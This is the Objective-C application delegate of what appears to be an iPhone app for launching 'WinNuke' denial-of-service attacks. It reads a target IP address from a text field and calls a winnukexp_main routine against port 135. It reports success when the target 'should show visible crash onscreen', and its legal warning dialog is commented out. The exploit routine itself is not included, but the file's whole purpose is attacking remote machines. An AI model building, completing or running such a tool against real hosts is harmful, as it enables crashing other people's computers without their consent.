
#import "MNApplicationDelegate.h"

@implementation MNApplicationDelegate

- (void) applicationDidFinishLaunching: (UIApplication *)application
{	
	[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(didShowKeyboard) name:@"UIKeyboardWillShowNotification" object:nil];
	
	[inputField becomeFirstResponder];
}

-(void)didShowKeyboard
{
	[UIView beginAnimations:nil context:nil];
	[UIView setAnimationCurve:UIViewAnimationCurveEaseOut];
	
#if TARGET_IPHONE_SIMULATOR
	[UIView setAnimationDelay:0.09];
#else
	[UIView setAnimationDelay:0.29];
#endif
	
	CGRect inputFieldFrame = inputBar.frame;
	
	inputFieldFrame.origin.y = mainWindow.frame.size.height - 216 - inputBar.frame.size.height;
	inputBar.frame = inputFieldFrame;
	[UIView commitAnimations];
}

- (IBAction)nuke:(id)sender {
	//NSLog(@"%s", __PRETTY_FUNCTION__ );
//	UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Warning" message:@"This software may only legally be targeted against your own personal computers."
//							delegate:self cancelButtonTitle:@"Cancel" otherButtonTitles:nil];
//
//	[alert show];
//	[alert release];
//	NSLog(@"%s", __PRETTY_FUNCTION__ );
	[self _fireNuke:self];

}

- (void)alertView:(UIAlertView *)alertView clickedButtonAtIndex:(NSInteger)buttonIndex
{
	//NSLog(@"%s", __PRETTY_FUNCTION__ );
	
	// the user clicked one of the OK/Cancel buttons
	if (buttonIndex == 0)
	{
		[self _fireNuke:self];
	}
	else
	{
		NSLog(@"Cancelled alert view");
	}
}

- (void)_fireNuke:(id)sender
{
	NSString *message = inputField.text;

	if (![message length] > 0)
	{	
		UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Address Field Empty" message:@"Please enter the target IP address" delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil];
		[_infoSheet show];
	
		return;
	}
	
	UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Sending Nuke" message:@"This can take a while. Please wait." delegate:nil cancelButtonTitle:nil otherButtonTitles:nil];
	[_infoSheet show];
	UIActivityIndicatorView *indicator = [[UIActivityIndicatorView alloc] initWithFrame:CGRectMake(_infoSheet.bounds.size.width/2-18,_infoSheet.bounds.size.height/2+6, 0, 0 )];
	[indicator startAnimating];
	[indicator setActivityIndicatorViewStyle:UIActionSheetStyleDefault];
	[indicator sizeToFit];
	indicator.autoresizingMask =	(UIViewAutoresizingFlexibleLeftMargin |
									UIViewAutoresizingFlexibleRightMargin |
									UIViewAutoresizingFlexibleTopMargin |
									UIViewAutoresizingFlexibleBottomMargin);

	[_infoSheet addSubview:indicator];
	[indicator release];
	
	[NSThread detachNewThreadSelector:@selector(_nukeMain:) toTarget:self withObject:message];
}

-(void)_nukeMain:(NSString *)message
{
	NSAutoreleasePool *pool = [NSAutoreleasePool new];
	
//	char *winnuke95_argv[2];
//	winnuke95_argv[0] = "winnuke";
//	winnuke95_argv[1] = address;	

	char *winnukexp_argv[3];
	winnukexp_argv[0] = "winnukexp";
	winnukexp_argv[1] = (char *)[message UTF8String];
	winnukexp_argv[2] = "135";
	int winnukexp_success = winnukexp_main(winnukexp_argv);

	if /*(!winnuke95_success && )*/(winnukexp_success != 0)
	{
		UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Nuke Failed" message:@"Sending Nuke failed." delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil];
		[_infoSheet show];
	}
	else
	{
		UIAlertView *_infoSheet = [[UIAlertView alloc] initWithTitle:@"Success!" message:@"Nuke appears to have been successful; target should show visible crash onscreen." delegate:nil cancelButtonTitle:@"OK" otherButtonTitles:nil];
		[_infoSheet show];
	}
	
	[pool release];
	
}

@end
